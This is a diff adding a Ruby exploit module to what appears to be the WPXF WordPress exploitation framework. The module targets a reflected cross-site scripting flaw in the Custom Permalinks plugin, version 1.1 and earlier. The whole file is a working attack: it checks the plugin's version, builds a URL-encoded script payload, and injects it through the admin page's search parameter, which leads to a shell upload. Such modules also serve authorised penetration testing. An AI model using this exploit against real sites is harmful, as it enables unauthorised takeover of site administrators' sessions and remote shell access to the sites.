Add Custom Permalinks <= 1.1 reflected XSS shell upload

Author: rastating

modules/exploit/xss/reflected/custom_permalinks_xss_shell_upload.rb

@@ -0,0 +1,33 @@
+# frozen_string_literal: true
+
+class Wpxf::Exploit::CustomPermalinksReflectedXssShellUpload < Wpxf::Module
+  include Wpxf::WordPress::ReflectedXss
+
+  def initialize
+    super
+
+    update_info(
+      name: 'Custom Permalinks <= 1.1 Reflected XSS Shell Upload',
+      author: [
+        'Karim El Ouerghemmi', # Dislosure
+        'rastating'            # WPXF module
+      ],
+      references: [
+        ['WPVDB', '9030']
+      ],
+      date: 'Feb 22 2018'
+    )
+  end
+
+  def check
+    check_plugin_version_from_readme('custom-permalinks', '1.2')
+  end
+
+  def xss_payload
+    url_encode("<script>#{xss_ascii_encoded_include_script}</script>")
+  end
+
+  def url_with_xss
+    "#{wordpress_url_admin_options}?page=custom-permalinks-post-permalinks&s=#{xss_payload}"
+  end
+end